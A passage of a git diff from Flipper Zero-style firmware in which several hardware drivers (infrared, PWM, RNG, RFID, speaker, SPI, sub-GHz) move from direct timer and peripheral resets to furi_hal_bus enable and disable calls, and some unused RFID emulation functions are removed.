LL_DMA_ClearFlag_HT2(INFRARED_DMA); + LL_DMA_ClearFlag_TE2(INFRARED_DMA); #else #error Update this code. Would you kindly? #endif - LL_DMA_EnableIT_TC(IR_DMA_CH2_DEF); - LL_DMA_EnableIT_HT(IR_DMA_CH2_DEF); - LL_DMA_EnableIT_TE(IR_DMA_CH2_DEF); + LL_DMA_EnableIT_TC(INFRARED_DMA_CH2_DEF); + LL_DMA_EnableIT_HT(INFRARED_DMA_CH2_DEF); + LL_DMA_EnableIT_TE(INFRARED_DMA_CH2_DEF); - furi_hal_interrupt_set_isr_ex(IR_DMA_CH2_IRQ, 5, furi_hal_infrared_tx_dma_isr, NULL); + furi_hal_interrupt_set_isr_ex(INFRARED_DMA_CH2_IRQ, 5, furi_hal_infrared_tx_dma_isr, NULL); } static void furi_hal_infrared_tx_fill_buffer_last(uint8_t buf_num) { @@ -526,14 +541,14 @@ static void furi_hal_infrared_tx_dma_set_polarity(uint8_t buf_num, uint8_t polar furi_assert(buffer->polarity != NULL); FURI_CRITICAL_ENTER(); - bool channel_enabled = LL_DMA_IsEnabledChannel(IR_DMA_CH1_DEF); + bool channel_enabled = LL_DMA_IsEnabledChannel(INFRARED_DMA_CH1_DEF); if(channel_enabled) { - LL_DMA_DisableChannel(IR_DMA_CH1_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH1_DEF); } - LL_DMA_SetMemoryAddress(IR_DMA_CH1_DEF, (uint32_t)buffer->polarity); - LL_DMA_SetDataLength(IR_DMA_CH1_DEF, buffer->size + polarity_shift); + LL_DMA_SetMemoryAddress(INFRARED_DMA_CH1_DEF, (uint32_t)buffer->polarity); + LL_DMA_SetDataLength(INFRARED_DMA_CH1_DEF, buffer->size + polarity_shift); if(channel_enabled) { - LL_DMA_EnableChannel(IR_DMA_CH1_DEF); + LL_DMA_EnableChannel(INFRARED_DMA_CH1_DEF); } FURI_CRITICAL_EXIT(); } @@ -546,14 +561,14 @@ static void furi_hal_infrared_tx_dma_set_buffer(uint8_t buf_num) { /* non-circular mode requires disabled channel before setup */ FURI_CRITICAL_ENTER(); - bool channel_enabled = LL_DMA_IsEnabledChannel(IR_DMA_CH2_DEF); + bool channel_enabled = LL_DMA_IsEnabledChannel(INFRARED_DMA_CH2_DEF); if(channel_enabled) { - LL_DMA_DisableChannel(IR_DMA_CH2_DEF); + LL_DMA_DisableChannel(INFRARED_DMA_CH2_DEF); } - LL_DMA_SetMemoryAddress(IR_DMA_CH2_DEF, (uint32_t)buffer->data); - LL_DMA_SetDataLength(IR_DMA_CH2_DEF, buffer->size); + LL_DMA_SetMemoryAddress(INFRARED_DMA_CH2_DEF, (uint32_t)buffer->data); + LL_DMA_SetDataLength(INFRARED_DMA_CH2_DEF, buffer->size); if(channel_enabled) { - LL_DMA_EnableChannel(IR_DMA_CH2_DEF); + LL_DMA_EnableChannel(INFRARED_DMA_CH2_DEF); } FURI_CRITICAL_EXIT(); } @@ -564,9 +579,10 @@ static void furi_hal_infrared_async_tx_free_resources(void) { (furi_hal_infrared_state == InfraredStateAsyncTxStopped)); furi_hal_gpio_init(&gpio_infrared_tx, GpioModeAnalog, GpioPullDown, GpioSpeedLow); - furi_hal_interrupt_set_isr(IR_DMA_CH1_IRQ, NULL, NULL); - furi_hal_interrupt_set_isr(IR_DMA_CH2_IRQ, NULL, NULL); - LL_TIM_DeInit(TIM1); + furi_hal_interrupt_set_isr(INFRARED_DMA_CH1_IRQ, NULL, NULL); + furi_hal_interrupt_set_isr(INFRARED_DMA_CH2_IRQ, NULL, NULL); + + furi_hal_bus_disable(INFRARED_DMA_TIMER_BUS); furi_semaphore_free(infrared_tim_tx.stop_semaphore); free(infrared_tim_tx.buffer[0].data); @@ -607,6 +623,8 @@ void furi_hal_infrared_async_tx_start(uint32_t freq, float duty_cycle) { furi_hal_infrared_tx_fill_buffer(0, INFRARED_POLARITY_SHIFT); + furi_hal_bus_enable(INFRARED_DMA_TIMER_BUS); + furi_hal_infrared_configure_tim_pwm_tx(freq, duty_cycle); furi_hal_infrared_configure_tim_cmgr2_dma_tx(); furi_hal_infrared_configure_tim_rcr_dma_tx(); @@ -615,11 +633,11 @@ void furi_hal_infrared_async_tx_start(uint32_t freq, float duty_cycle) { furi_hal_infrared_state = InfraredStateAsyncTx; - LL_TIM_ClearFlag_UPDATE(TIM1); - LL_DMA_EnableChannel(IR_DMA_CH1_DEF); - LL_DMA_EnableChannel(IR_DMA_CH2_DEF); + LL_TIM_ClearFlag_UPDATE(INFRARED_DMA_TIMER); + LL_DMA_EnableChannel(INFRARED_DMA_CH1_DEF); + LL_DMA_EnableChannel(INFRARED_DMA_CH2_DEF); furi_delay_us(5); - LL_TIM_GenerateEvent_UPDATE(TIM1); /* DMA -> TIMx_RCR */ + LL_TIM_GenerateEvent_UPDATE(INFRARED_DMA_TIMER); /* DMA -> TIMx_RCR */ furi_delay_us(5); LL_GPIO_ResetOutputPin( gpio_infrared_tx.port, gpio_infrared_tx.pin); /* when disable it prevents false pulse */ @@ -627,8 +645,8 @@ void furi_hal_infrared_async_tx_start(uint32_t freq, float duty_cycle) { &gpio_infrared_tx, GpioModeAltFunctionPushPull, GpioPullUp, GpioSpeedHigh, GpioAltFn1TIM1); FURI_CRITICAL_ENTER(); - LL_TIM_GenerateEvent_UPDATE(TIM1); /* TIMx_RCR -> Repetition counter */ - LL_TIM_EnableCounter(TIM1); + LL_TIM_GenerateEvent_UPDATE(INFRARED_DMA_TIMER); /* TIMx_RCR -> Repetition counter */ + LL_TIM_EnableCounter(INFRARED_DMA_TIMER); FURI_CRITICAL_EXIT(); } diff --git a/firmware/targets/f7/furi_hal/furi_hal_pwm.c b/firmware/targets/f7/furi_hal/furi_hal_pwm.c index 8f84b5fd8..7e985cbb1 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_pwm.c +++ b/firmware/targets/f7/furi_hal/furi_hal_pwm.c @@ -1,8 +1,7 @@ #include -#include #include +#include -#include #include #include #include @@ -29,9 +28,7 @@ void furi_hal_pwm_start(FuriHalPwmOutputId channel, uint32_t freq, uint8_t duty) GpioSpeedVeryHigh, GpioAltFn1TIM1); - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(TIM1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FuriHalBusTIM1); LL_TIM_SetCounterMode(TIM1, LL_TIM_COUNTERMODE_UP); LL_TIM_SetRepetitionCounter(TIM1, 0); @@ -58,9 +55,7 @@ void furi_hal_pwm_start(FuriHalPwmOutputId channel, uint32_t freq, uint8_t duty) GpioSpeedVeryHigh, GpioAltFn14LPTIM2); - FURI_CRITICAL_ENTER(); - LL_LPTIM_DeInit(LPTIM2); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FuriHalBusLPTIM2); LL_LPTIM_SetUpdateMode(LPTIM2, LL_LPTIM_UPDATE_MODE_ENDOFPERIOD); LL_RCC_SetLPTIMClockSource(LL_RCC_LPTIM2_CLKSOURCE_PCLK1); @@ -80,14 +75,10 @@ void furi_hal_pwm_start(FuriHalPwmOutputId channel, uint32_t freq, uint8_t duty) void furi_hal_pwm_stop(FuriHalPwmOutputId channel) { if(channel == FuriHalPwmOutputIdTim1PA7) { furi_hal_gpio_init_simple(&gpio_ext_pa7, GpioModeAnalog); - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(TIM1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusTIM1); } else if(channel == FuriHalPwmOutputIdLptim2PA4) { furi_hal_gpio_init_simple(&gpio_ext_pa4, GpioModeAnalog); - FURI_CRITICAL_ENTER(); - LL_LPTIM_DeInit(LPTIM2); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusLPTIM2); } } diff --git a/firmware/targets/f7/furi_hal/furi_hal_random.c b/firmware/targets/f7/furi_hal/furi_hal_random.c index d3461c4d1..cf4b552f6 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_random.c +++ b/firmware/targets/f7/furi_hal/furi_hal_random.c @@ -1,8 +1,9 @@ #include +#include #include -#include #include +#include #include #include @@ -32,6 +33,11 @@ static uint32_t furi_hal_random_read_rng() { return LL_RNG_ReadRandData32(RNG); } +void furi_hal_random_init() { + furi_hal_bus_enable(FuriHalBusRNG); + LL_RCC_SetRNGClockSource(LL_RCC_RNG_CLKSOURCE_CLK48); +} + uint32_t furi_hal_random_get() { while(LL_HSEM_1StepLock(HSEM, CFG_HW_RNG_SEMID)) ; @@ -40,6 +46,7 @@ uint32_t furi_hal_random_get() { const uint32_t random_val = furi_hal_random_read_rng(); LL_RNG_Disable(RNG); + ; LL_HSEM_ReleaseLock(HSEM, CFG_HW_RNG_SEMID, 0); return random_val; diff --git a/firmware/targets/f7/furi_hal/furi_hal_resources.c b/firmware/targets/f7/furi_hal/furi_hal_resources.c index abfd977e5..561cef08a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_resources.c +++ b/firmware/targets/f7/furi_hal/furi_hal_resources.c @@ -1,4 +1,5 @@ #include +#include #include #include @@ -106,6 +107,13 @@ static void furi_hal_resources_init_input_pins(GpioMode mode) { } void furi_hal_resources_init_early() { + furi_hal_bus_enable(FuriHalBusGPIOA); + furi_hal_bus_enable(FuriHalBusGPIOB); + furi_hal_bus_enable(FuriHalBusGPIOC); + furi_hal_bus_enable(FuriHalBusGPIOD); + furi_hal_bus_enable(FuriHalBusGPIOE); + furi_hal_bus_enable(FuriHalBusGPIOH); + furi_hal_resources_init_input_pins(GpioModeInput); // SD Card stepdown control @@ -150,6 +158,12 @@ void furi_hal_resources_init_early() { void furi_hal_resources_deinit_early() { furi_hal_resources_init_input_pins(GpioModeAnalog); + furi_hal_bus_disable(FuriHalBusGPIOA); + furi_hal_bus_disable(FuriHalBusGPIOB); + furi_hal_bus_disable(FuriHalBusGPIOC); + furi_hal_bus_disable(FuriHalBusGPIOD); + furi_hal_bus_disable(FuriHalBusGPIOE); + furi_hal_bus_disable(FuriHalBusGPIOH); } void furi_hal_resources_init() { diff --git a/firmware/targets/f7/furi_hal/furi_hal_rfid.c b/firmware/targets/f7/furi_hal/furi_hal_rfid.c index 145e49df2..fa0c19b09 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_rfid.c +++ b/firmware/targets/f7/furi_hal/furi_hal_rfid.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include @@ -9,15 +10,18 @@ #include #define FURI_HAL_RFID_READ_TIMER TIM1 +#define FURI_HAL_RFID_READ_TIMER_BUS FuriHalBusTIM1 #define FURI_HAL_RFID_READ_TIMER_CHANNEL LL_TIM_CHANNEL_CH1N // We can't use N channel for LL_TIM_OC_Init, so... #define FURI_HAL_RFID_READ_TIMER_CHANNEL_CONFIG LL_TIM_CHANNEL_CH1 #define FURI_HAL_RFID_EMULATE_TIMER TIM2 +#define FURI_HAL_RFID_EMULATE_TIMER_BUS FuriHalBusTIM2 #define FURI_HAL_RFID_EMULATE_TIMER_IRQ FuriHalInterruptIdTIM2 #define FURI_HAL_RFID_EMULATE_TIMER_CHANNEL LL_TIM_CHANNEL_CH3 #define RFID_CAPTURE_TIM TIM2 +#define RFID_CAPTURE_TIM_BUS FuriHalBusTIM2 #define RFID_CAPTURE_IND_CH LL_TIM_CHANNEL_CH3 #define RFID_CAPTURE_DIR_CH LL_TIM_CHANNEL_CH4 @@ -30,7 +34,6 @@ #define RFID_DMA_CH2_DEF RFID_DMA, RFID_DMA_CH2_CHANNEL typedef struct { - FuriHalRfidEmulateCallback callback; FuriHalRfidDMACallback dma_callback; FuriHalRfidReadCaptureCallback read_capture_callback; void* context; @@ -56,11 +59,7 @@ void furi_hal_rfid_init() { COMP_InitStruct.InputPlus = LL_COMP_INPUT_PLUS_IO1; COMP_InitStruct.InputMinus = LL_COMP_INPUT_MINUS_1_2VREFINT; COMP_InitStruct.InputHysteresis = LL_COMP_HYSTERESIS_HIGH; -#ifdef INVERT_RFID_IN - COMP_InitStruct.OutputPolarity = LL_COMP_OUTPUTPOL_INVERTED; -#else COMP_InitStruct.OutputPolarity = LL_COMP_OUTPUTPOL_NONINVERTED; -#endif COMP_InitStruct.OutputBlankingSource = LL_COMP_BLANKINGSRC_NONE; LL_COMP_Init(COMP1, &COMP_InitStruct); LL_COMP_SetCommonWindowMode(__LL_COMP_COMMON_INSTANCE(COMP1), LL_COMP_WINDOWMODE_DISABLE); @@ -92,7 +91,7 @@ void furi_hal_rfid_pins_reset() { furi_hal_gpio_init(&gpio_rfid_data_in, GpioModeAnalog, GpioPullNo, GpioSpeedLow); } -void furi_hal_rfid_pins_emulate() { +static void furi_hal_rfid_pins_emulate() { // ibutton low furi_hal_ibutton_pin_configure(); furi_hal_ibutton_pin_write(false); @@ -113,7 +112,7 @@ void furi_hal_rfid_pins_emulate() { &gpio_rfid_carrier, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedLow, GpioAltFn2TIM2); } -void furi_hal_rfid_pins_read() { +static void furi_hal_rfid_pins_read() { // ibutton low furi_hal_ibutton_pin_configure(); furi_hal_ibutton_pin_write(false); @@ -142,10 +141,10 @@ void furi_hal_rfid_pin_pull_pulldown() { furi_hal_gpio_write(&gpio_nfc_irq_rfid_pull, false); } -void furi_hal_rfid_tim_read(float freq, float duty_cycle) { - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(FURI_HAL_RFID_READ_TIMER); - FURI_CRITICAL_EXIT(); +void furi_hal_rfid_tim_read_start(float freq, float duty_cycle) { + furi_hal_bus_enable(FURI_HAL_RFID_READ_TIMER_BUS); + + furi_hal_rfid_pins_read(); LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Autoreload = (SystemCoreClock / freq) - 1; @@ -160,23 +159,23 @@ void furi_hal_rfid_tim_read(float freq, float duty_cycle) { FURI_HAL_RFID_READ_TIMER, FURI_HAL_RFID_READ_TIMER_CHANNEL_CONFIG, &TIM_OC_InitStruct); LL_TIM_EnableCounter(FURI_HAL_RFID_READ_TIMER); + + furi_hal_rfid_tim_read_continue(); } -void furi_hal_rfid_tim_read_start() { +void furi_hal_rfid_tim_read_continue() { LL_TIM_EnableAllOutputs(FURI_HAL_RFID_READ_TIMER); } -void furi_hal_rfid_tim_read_stop() { +void furi_hal_rfid_tim_read_pause() { LL_TIM_DisableAllOutputs(FURI_HAL_RFID_READ_TIMER); } -void furi_hal_rfid_tim_emulate(float freq) { - UNUSED(freq); // FIXME - // basic PWM setup with needed freq and internal clock - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(FURI_HAL_RFID_EMULATE_TIMER); - FURI_CRITICAL_EXIT(); +void furi_hal_rfid_tim_read_stop() { + furi_hal_bus_disable(FURI_HAL_RFID_READ_TIMER_BUS); +} +static void furi_hal_rfid_tim_emulate() { LL_TIM_SetPrescaler(FURI_HAL_RFID_EMULATE_TIMER, 0); LL_TIM_SetCounterMode(FURI_HAL_RFID_EMULATE_TIMER, LL_TIM_COUNTERMODE_UP); LL_TIM_SetAutoReload(FURI_HAL_RFID_EMULATE_TIMER, 1); @@ -201,32 +200,6 @@ void furi_hal_rfid_tim_emulate(float freq) { LL_TIM_GenerateEvent_UPDATE(FURI_HAL_RFID_EMULATE_TIMER); } -static void furi_hal_rfid_emulate_isr() { - if(LL_TIM_IsActiveFlag_UPDATE(FURI_HAL_RFID_EMULATE_TIMER)) { - LL_TIM_ClearFlag_UPDATE(FURI_HAL_RFID_EMULATE_TIMER); - furi_hal_rfid->callback(furi_hal_rfid->context); - } -} - -void furi_hal_rfid_tim_emulate_start(FuriHalRfidEmulateCallback callback, void* context) { - furi_assert(furi_hal_rfid); - - furi_hal_rfid->callback = callback; - furi_hal_rfid->context = context; - - furi_hal_interrupt_set_isr(FURI_HAL_RFID_EMULATE_TIMER_IRQ, furi_hal_rfid_emulate_isr, NULL); - - LL_TIM_EnableIT_UPDATE(FURI_HAL_RFID_EMULATE_TIMER); - LL_TIM_EnableAllOutputs(FURI_HAL_RFID_EMULATE_TIMER); - LL_TIM_EnableCounter(FURI_HAL_RFID_EMULATE_TIMER); -} - -void furi_hal_rfid_tim_emulate_stop() { - LL_TIM_DisableCounter(FURI_HAL_RFID_EMULATE_TIMER); - LL_TIM_DisableAllOutputs(FURI_HAL_RFID_EMULATE_TIMER); - furi_hal_interrupt_set_isr(FURI_HAL_RFID_EMULATE_TIMER_IRQ, NULL, NULL); -} - static void furi_hal_capture_dma_isr(void* context) { UNUSED(context); @@ -247,15 +220,13 @@ static void furi_hal_capture_dma_isr(void* context) { } void furi_hal_rfid_tim_read_capture_start(FuriHalRfidReadCaptureCallback callback, void* context) { - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(RFID_CAPTURE_TIM); - FURI_CRITICAL_EXIT(); - furi_assert(furi_hal_rfid); furi_hal_rfid->read_capture_callback = callback; furi_hal_rfid->context = context; + furi_hal_bus_enable(RFID_CAPTURE_TIM_BUS); + // Timer: base LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; @@ -303,10 +274,7 @@ void furi_hal_rfid_tim_read_capture_stop() { furi_hal_rfid_comp_stop(); furi_hal_interrupt_set_isr(FURI_HAL_RFID_EMULATE_TIMER_IRQ, NULL, NULL); - - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(RFID_CAPTURE_TIM); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(RFID_CAPTURE_TIM_BUS); } static void furi_hal_rfid_dma_isr() { @@ -341,7 +309,8 @@ void furi_hal_rfid_tim_emulate_dma_start( furi_hal_rfid_pins_emulate(); // configure timer - furi_hal_rfid_tim_emulate(125000); + furi_hal_bus_enable(FURI_HAL_RFID_EMULATE_TIMER_BUS); + furi_hal_rfid_tim_emulate(); LL_TIM_OC_SetPolarity( FURI_HAL_RFID_EMULATE_TIMER, FURI_HAL_RFID_EMULATE_TIMER_CHANNEL, LL_TIM_OCPOLARITY_HIGH); LL_TIM_EnableDMAReq_UPDATE(FURI_HAL_RFID_EMULATE_TIMER); @@ -405,32 +374,12 @@ void furi_hal_rfid_tim_emulate_dma_stop() { LL_DMA_DeInit(RFID_DMA_CH1_DEF); LL_DMA_DeInit(RFID_DMA_CH2_DEF); - LL_TIM_DeInit(FURI_HAL_RFID_EMULATE_TIMER); + + furi_hal_bus_disable(FURI_HAL_RFID_EMULATE_TIMER_BUS); FURI_CRITICAL_EXIT(); } -void furi_hal_rfid_tim_reset() { - FURI_CRITICAL_ENTER(); - - LL_TIM_DeInit(FURI_HAL_RFID_READ_TIMER); - LL_TIM_DeInit(FURI_HAL_RFID_EMULATE_TIMER); - - FURI_CRITICAL_EXIT(); -} - -void furi_hal_rfid_set_emulate_period(uint32_t period) { - LL_TIM_SetAutoReload(FURI_HAL_RFID_EMULATE_TIMER, period); -} - -void furi_hal_rfid_set_emulate_pulse(uint32_t pulse) { -#if FURI_HAL_RFID_EMULATE_TIMER_CHANNEL == LL_TIM_CHANNEL_CH3 - LL_TIM_OC_SetCompareCH3(FURI_HAL_RFID_EMULATE_TIMER, pulse); -#else -#error Update this code. Would you kindly? -#endif -} - void furi_hal_rfid_set_read_period(uint32_t period) { LL_TIM_SetAutoReload(FURI_HAL_RFID_READ_TIMER, period); } @@ -443,12 +392,6 @@ void furi_hal_rfid_set_read_pulse(uint32_t pulse) { #endif } -void furi_hal_rfid_change_read_config(float freq, float duty_cycle) { - uint32_t period = (uint32_t)((SystemCoreClock) / freq) - 1; - furi_hal_rfid_set_read_period(period); - furi_hal_rfid_set_read_pulse(period * duty_cycle); -} - void furi_hal_rfid_comp_start() { LL_COMP_Enable(COMP1); // Magic @@ -483,4 +426,4 @@ void COMP_IRQHandler() { (LL_COMP_ReadOutputLevel(COMP1) == LL_COMP_OUTPUT_LEVEL_LOW), furi_hal_rfid_comp_callback_context); } -} \ No newline at end of file +} diff --git a/firmware/targets/f7/furi_hal/furi_hal_rfid.h b/firmware/targets/f7/furi_hal/furi_hal_rfid.h index 36563c1d1..78d9b6658 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_rfid.h +++ b/firmware/targets/f7/furi_hal/furi_hal_rfid.h @@ -21,14 +21,6 @@ void furi_hal_rfid_init(); */ void furi_hal_rfid_pins_reset(); -/** Config rfid pins to emulate state - */ -void furi_hal_rfid_pins_emulate(); - -/** Config rfid pins to read state - */ -void furi_hal_rfid_pins_read(); - /** Release rfid pull pin */ void furi_hal_rfid_pin_pull_release(); @@ -37,33 +29,24 @@ void furi_hal_rfid_pin_pull_release(); */ void furi_hal_rfid_pin_pull_pulldown(); -/** Config rfid timer to read state - * +/** Start read timer * @param freq timer frequency * @param duty_cycle timer duty cycle, 0.0-1.0 */ -void furi_hal_rfid_tim_read(float freq, float duty_cycle); +void furi_hal_rfid_tim_read_start(float freq, float duty_cycle); -/** Start read timer +/** Pause read timer, to be able to continue later */ -void furi_hal_rfid_tim_read_start(); +void furi_hal_rfid_tim_read_pause(); + +/** Continue read timer + */ +void furi_hal_rfid_tim_read_continue(); /** Stop read timer */ void furi_hal_rfid_tim_read_stop(); -/** Config rfid timer to emulate state - * - * @param freq timer frequency - */ -void furi_hal_rfid_tim_emulate(float freq); - -typedef void (*FuriHalRfidEmulateCallback)(void* context); - -/** Start emulation timer - */ -void furi_hal_rfid_tim_emulate_start(FuriHalRfidEmulateCallback callback, void* context); - typedef void (*FuriHalRfidReadCaptureCallback)(bool level, uint32_t duration, void* context); void furi_hal_rfid_tim_read_capture_start(FuriHalRfidReadCaptureCallback callback, void* context); @@ -81,26 +64,6 @@ void furi_hal_rfid_tim_emulate_dma_start( void furi_hal_rfid_tim_emulate_dma_stop(); -/** Stop emulation timer - */ -void furi_hal_rfid_tim_emulate_stop(); - -/** Config rfid timers to reset state - */ -void furi_hal_rfid_tim_reset(); - -/** Set emulation timer period - * - * @param period overall duration - */ -void furi_hal_rfid_set_emulate_period(uint32_t period); - -/** Set emulation timer pulse - * - * @param pulse duration of high level - */ -void furi_hal_rfid_set_emulate_pulse(uint32_t pulse); - /** Set read timer period * * @param period overall duration @@ -113,13 +76,6 @@ void furi_hal_rfid_set_read_period(uint32_t period); */ void furi_hal_rfid_set_read_pulse(uint32_t pulse); -/** Сhanges the configuration of the RFID timer "on a fly" - * - * @param freq new frequency - * @param duty_cycle new duty cycle - */ -void furi_hal_rfid_change_read_config(float freq, float duty_cycle); - /** Start/Enable comparator */ void furi_hal_rfid_comp_start(); diff --git a/firmware/targets/f7/furi_hal/furi_hal_rtc.c b/firmware/targets/f7/furi_hal/furi_hal_rtc.c index 8dfe1a13e..a8e25faad 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_rtc.c +++ b/firmware/targets/f7/furi_hal/furi_hal_rtc.c @@ -2,8 +2,8 @@ #include #include -#include #include +#include #include #include #include diff --git a/firmware/targets/f7/furi_hal/furi_hal_speaker.c b/firmware/targets/f7/furi_hal/furi_hal_speaker.c index 5421509cc..ad7ed994a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_speaker.c +++ b/firmware/targets/f7/furi_hal/furi_hal_speaker.c @@ -2,6 +2,7 @@ #include #include #include +#include #include #include @@ -20,16 +21,11 @@ static FuriMutex* furi_hal_speaker_mutex = NULL; void furi_hal_speaker_init() { furi_assert(furi_hal_speaker_mutex == NULL); furi_hal_speaker_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(FURI_HAL_SPEAKER_TIMER); - FURI_CRITICAL_EXIT(); FURI_LOG_I(TAG, "Init OK"); } void furi_hal_speaker_deinit() { furi_check(furi_hal_speaker_mutex != NULL); - LL_TIM_DeInit(FURI_HAL_SPEAKER_TIMER); - furi_hal_gpio_init(&gpio_speaker, GpioModeAnalog, GpioPullNo, GpioSpeedLow); furi_mutex_free(furi_hal_speaker_mutex); furi_hal_speaker_mutex = NULL; } @@ -39,6 +35,7 @@ bool furi_hal_speaker_acquire(uint32_t timeout) { if(furi_mutex_acquire(furi_hal_speaker_mutex, timeout) == FuriStatusOk) { furi_hal_power_insomnia_enter(); + furi_hal_bus_enable(FuriHalBusTIM16); furi_hal_gpio_init_ex( &gpio_speaker, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedLow, GpioAltFn14TIM16); return true; @@ -53,6 +50,8 @@ void furi_hal_speaker_release() { furi_hal_speaker_stop(); furi_hal_gpio_init(&gpio_speaker, GpioModeAnalog, GpioPullDown, GpioSpeedLow); + + furi_hal_bus_disable(FuriHalBusTIM16); furi_hal_power_insomnia_exit(); furi_check(furi_mutex_release(furi_hal_speaker_mutex) == FuriStatusOk); diff --git a/firmware/targets/f7/furi_hal/furi_hal_spi_config.c b/firmware/targets/f7/furi_hal/furi_hal_spi_config.c index 9cf332dac..09ac79d2a 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_spi_config.c +++ b/firmware/targets/f7/furi_hal/furi_hal_spi_config.c @@ -1,6 +1,7 @@ #include #include #include +#include #include #define TAG "FuriHalSpiConfig" @@ -100,28 +101,17 @@ void furi_hal_spi_config_init() { static void furi_hal_spi_bus_r_event_callback(FuriHalSpiBus* bus, FuriHalSpiBusEvent event) { if(event == FuriHalSpiBusEventInit) { furi_hal_spi_bus_r_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); bus->current_handle = NULL; } else if(event == FuriHalSpiBusEventDeinit) { furi_mutex_free(furi_hal_spi_bus_r_mutex); - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1); - LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); } else if(event == FuriHalSpiBusEventLock) { furi_check(furi_mutex_acquire(furi_hal_spi_bus_r_mutex, FuriWaitForever) == FuriStatusOk); } else if(event == FuriHalSpiBusEventUnlock) { furi_check(furi_mutex_release(furi_hal_spi_bus_r_mutex) == FuriStatusOk); } else if(event == FuriHalSpiBusEventActivate) { - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ReleaseReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FuriHalBusSPI1); } else if(event == FuriHalSpiBusEventDeactivate) { - FURI_CRITICAL_ENTER(); - LL_APB2_GRP1_ForceReset(LL_APB2_GRP1_PERIPH_SPI1); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusSPI1); } } @@ -135,28 +125,17 @@ FuriMutex* furi_hal_spi_bus_d_mutex = NULL; static void furi_hal_spi_bus_d_event_callback(FuriHalSpiBus* bus, FuriHalSpiBusEvent event) { if(event == FuriHalSpiBusEventInit) { furi_hal_spi_bus_d_mutex = furi_mutex_alloc(FuriMutexTypeNormal); - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); bus->current_handle = NULL; } else if(event == FuriHalSpiBusEventDeinit) { furi_mutex_free(furi_hal_spi_bus_d_mutex); - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); } else if(event == FuriHalSpiBusEventLock) { furi_check(furi_mutex_acquire(furi_hal_spi_bus_d_mutex, FuriWaitForever) == FuriStatusOk); } else if(event == FuriHalSpiBusEventUnlock) { furi_check(furi_mutex_release(furi_hal_spi_bus_d_mutex) == FuriStatusOk); } else if(event == FuriHalSpiBusEventActivate) { - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ReleaseReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); + furi_hal_bus_enable(FuriHalBusSPI2); } else if(event == FuriHalSpiBusEventDeactivate) { - FURI_CRITICAL_ENTER(); - LL_APB1_GRP1_ForceReset(LL_APB1_GRP1_PERIPH_SPI2); - FURI_CRITICAL_EXIT(); + furi_hal_bus_disable(FuriHalBusSPI2); } } diff --git a/firmware/targets/f7/furi_hal/furi_hal_spi_types.h b/firmware/targets/f7/furi_hal/furi_hal_spi_types.h index d2273f38b..ecc18d50d 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_spi_types.h +++ b/firmware/targets/f7/furi_hal/furi_hal_spi_types.h @@ -6,8 +6,6 @@ #include #include -#include -#include #ifdef __cplusplus extern "C" { diff --git a/firmware/targets/f7/furi_hal/furi_hal_subghz.c b/firmware/targets/f7/furi_hal/furi_hal_subghz.c index 596464613..6d671a9e1 100644 --- a/firmware/targets/f7/furi_hal/furi_hal_subghz.c +++ b/firmware/targets/f7/furi_hal/furi_hal_subghz.c @@ -7,6 +7,7 @@ #include #include #include +#include #include @@ -433,6 +434,8 @@ void furi_hal_subghz_start_async_rx(FuriHalSubGhzCaptureCallback callback, void* furi_hal_gpio_init_ex( &gpio_cc1101_g0, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedLow, GpioAltFn1TIM2); + furi_hal_bus_enable(FuriHalBusTIM2); + // Timer: base LL_TIM_InitTypeDef TIM_InitStruct = {0}; TIM_InitStruct.Prescaler = 64 - 1; @@ -496,7 +499,7 @@ void furi_hal_subghz_stop_async_rx() { furi_hal_subghz_idle(); FURI_CRITICAL_ENTER(); - LL_TIM_DeInit(TIM2); + furi_hal_bus_disable(FuriHalBusTIM2); // Stop debug furi_hal_subghz_stop_debug(); @@ -658,6 +661,8 @@ bool furi_hal_subghz_start_async_tx(FuriHalSubGhzAsyncTxCallback callback, void* 